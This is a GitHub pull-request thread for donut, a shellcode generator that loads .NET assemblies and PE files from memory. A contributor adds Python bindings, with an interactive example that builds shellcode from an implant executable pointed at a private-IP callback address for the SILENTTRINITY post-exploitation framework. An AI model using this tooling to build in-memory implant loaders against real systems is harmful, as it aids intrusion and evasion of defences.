TheWover / donut

Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters
BSD 3-Clause "New" or "Revised" License
3.61k stars 638 forks source link

Created Python C extension #4

Closed byt3bl33d3r closed 5 years ago

byt3bl33d3r commented 5 years ago

Yoyo,

This commit adds a Python C extension that allows you to generate shellcode dynamically in Python! Check this out:

Python 3.7.4 (default, Jul  9 2019, 18:13:23)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.7.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import donut

In [2]: shellcode = donut.create(file="naga.exe", params='https://172.16.164.1/')

In [3]: len(shellcode)
Out[3]: 43809

donut.create() accepts positional and keyword arguments and should work with all the parameters donut.exe accepts.

Please don't judge my C code in donutmodule.c, this was my first time writing C in a long time.

Also added a setup.py & MANIFEST.in file so it's ready to be packaged and sent to PyPi! (I really want to use this in SILENTTRINITY)

To install and test the extension all you have to do is pip install . or python setup.py install

Cheers and let me know if i can help with anything else!

byt3bl33d3r commented 5 years ago

Closing in favor of #5